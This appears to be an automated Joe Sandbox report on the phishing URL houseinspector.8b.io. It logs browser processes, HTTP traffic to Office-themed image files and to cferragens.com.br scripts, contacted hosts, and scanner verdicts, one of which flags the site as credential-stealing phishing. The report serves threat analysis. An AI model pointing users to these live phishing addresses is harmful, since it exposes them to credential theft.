Edit tour

Windows Analysis Report
https://houseinspector.8b.io

Overview

General Information

Sample URL:	https://houseinspector.8b.io
Analysis ID:	671983
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2992 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 5216 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13709650561703948199,6877466021511323472,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1964 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 7040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1532,13709650561703948199,6877466021511323472,131072 --lang=en-US --service-sandbox-type=audio --enable-audio-service-sandbox --mojo-platform-channel-handle=4824 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6412 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://houseinspector.8b.io MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Jul 2022 21:41:50 GMTContent-Type: text/html; charset=utf-8Content-Length: 208Connection: closeServer: nginx/1.14.0 (Ubuntu)X-Instance-Id: PRXJNCsIRbrLhNunSxDkgQ==X-ST-Cache-Status: HIT

Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://ajax.googleapis.com
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://apis.google.com
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.0.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr, 04991bd4-7b3c-4db5-9e0c-79194af4c0c6.tmp.1.dr	String found in binary or memory: https://dns.google
Source: 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://firebasestorage.googleapis.com
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: History Provider Cache.0.dr	String found in binary or memory: https://houseinspector.8b.io/2
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://r4---sn-4g5e6nsk.gvt1.com
Source: 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://ssl.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://www.google.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: craw_window.js.0.dr, craw_background.js.0.dr, e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://www.googleapis.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: e001364f-922a-4d38-b0e9-63bb2c4d25a4.tmp.1.dr, 258959ce-9c6d-4579-935c-05b1f7241874.tmp.1.dr	String found in binary or memory: https://www.gstatic.com

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.215.39:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.39:443 -> 192.168.2.5:49797 version: TLS 1.2

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: houseinspector.8b.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /514777/images/outlook-.png HTTP/1.1Host: r.8b.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://houseinspector.8b.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /514777/images/Microsoft-Excel.png HTTP/1.1Host: r.8b.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://houseinspector.8b.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /021.mp4 HTTP/1.1Host: vr.8b.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: identity;q=1, ;q=0Accept: /*Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://houseinspector.8b.io/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /s/jost/v14/92zPtBhPNqw79Ij1E865zBUv7myjJTVBNIg.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-aliveOrigin: https://houseinspector.8b.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://fonts.googleapis.com/css2?family=Jost&display=swapAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /021.mp4 HTTP/1.1Host: vr.8b.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: identity;q=1, ;q=0Accept: /*Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://houseinspector.8b.io/Accept-Language: en-US,en;q=0.9Range: bytes=1474560-1482793If-Range: "0a049bc3936832cee7819f2cbb924093"
Source: global traffic	HTTP traffic detected: GET /021.mp4 HTTP/1.1Host: vr.8b.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: identity;q=1, ;q=0Accept: /*Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://houseinspector.8b.io/Accept-Language: en-US,en;q=0.9Range: bytes=65536-134284If-None-Match: "0a049bc3936832cee7819f2cbb924093"If-Modified-Since: Mon, 04 Oct 2021 08:41:47 GMT
Source: global traffic	HTTP traffic detected: GET /021.mp4 HTTP/1.1Host: vr.8b.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: identity;q=1, ;q=0Accept: /*Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoReferer: https://houseinspector.8b.io/Accept-Language: en-US,en;q=0.9Range: bytes=134285-1474559If-Range: "0a049bc3936832cee7819f2cbb924093"
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: houseinspector.8b.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://houseinspector.8b.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /514777/images/outlook-.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: r.8b.io
Source: global traffic	HTTP traffic detected: GET /514777/images/Microsoft-Excel.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36Host: r.8b.io
Source: global traffic	HTTP traffic detected: GET /success.html HTTP/1.1Host: cferragens.com.brConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-server/jquery.js HTTP/1.1Host: cferragens.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cferragens.com.br/success.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-server/basic.js HTTP/1.1Host: cferragens.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cferragens.com.br/success.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://cferragens.com.brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://cferragens.com.brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://cferragens.com.brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13709650561703948199,6877466021511323472,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1964 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" "https://houseinspector.8b.io
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1532,13709650561703948199,6877466021511323472,131072 --lang=en-US --service-sandbox-type=audio --enable-audio-service-sandbox --mojo-platform-channel-handle=4824 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13709650561703948199,6877466021511323472,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1964 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1532,13709650561703948199,6877466021511323472,131072 --lang=en-US --service-sandbox-type=audio --enable-audio-service-sandbox --mojo-platform-channel-handle=4824 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Next

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	4 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	5 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Label	Link
https://houseinspector.8b.io	0%	Virustotal		Browse
https://houseinspector.8b.io	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://houseinspector.8b.io	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://houseinspector.8b.io/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://houseinspector.8b.io/2	0%	Avira URL Cloud	safe
https://dns.google	0%	URL Reputation	safe
https://cferragens.com.br/wp-server/basic.js	0%	Avira URL Cloud	safe
https://r.8b.io/514777/images/Microsoft-Excel.png	0%	Avira URL Cloud	safe
https://houseinspector.8b.io/favicon.ico	0%	Avira URL Cloud	safe
https://cferragens.com.br/success.html	0%	Avira URL Cloud	safe
https://cferragens.com.br/wp-server/jquery.js	0%	Avira URL Cloud	safe
https://r.8b.io/514777/images/outlook-.png	0%	Avira URL Cloud	safe
https://vr.8b.io/021.mp4	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
gstaticadssl.l.google.com	142.250.184.99	true	false	high
api-8b-io-957469486.us-east-1.elb.amazonaws.com	44.207.172.104	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
accounts.google.com	142.250.180.141	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
r.8b.io	172.67.215.39	true	false	unknown
vr.8b.io	172.67.215.39	true	false	unknown
clients.l.google.com	216.58.209.46	true	false	high
cferragens.com.br	149.18.50.184	true	false	unknown
use.fontawesome.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high
code.jquery.com	unknown	unknown	false	high
houseinspector.8b.io	unknown	unknown	false	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.215.39	r.8b.io	United States	13335	CLOUDFLARENETUS	false
142.250.184.99	gstaticadssl.l.google.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
44.207.172.104	api-8b-io-957469486.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
149.18.50.184	cferragens.com.br	United States	174	COGENT-174US	false
216.58.209.46	clients.l.google.com	United States	15169	GOOGLEUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.180.141	accounts.google.com	United States	15169	GOOGLEUS	false

IP
192.168.2.1
127.0.0.1

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	671983
Start date and time: 22/07/202223:40:39	2022-07-22 23:40:39 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	browseurl.jbs
Sample URL:	https://houseinspector.8b.io
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.win@31/97@13/12
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Browse: https://cferragens.com.br/success.html

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	451603
Entropy (8bit):	5.009711072558331
Encrypted:	false
SSDEEP:	12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ
MD5:	A78AD14E77147E7DE3647E61964C0335
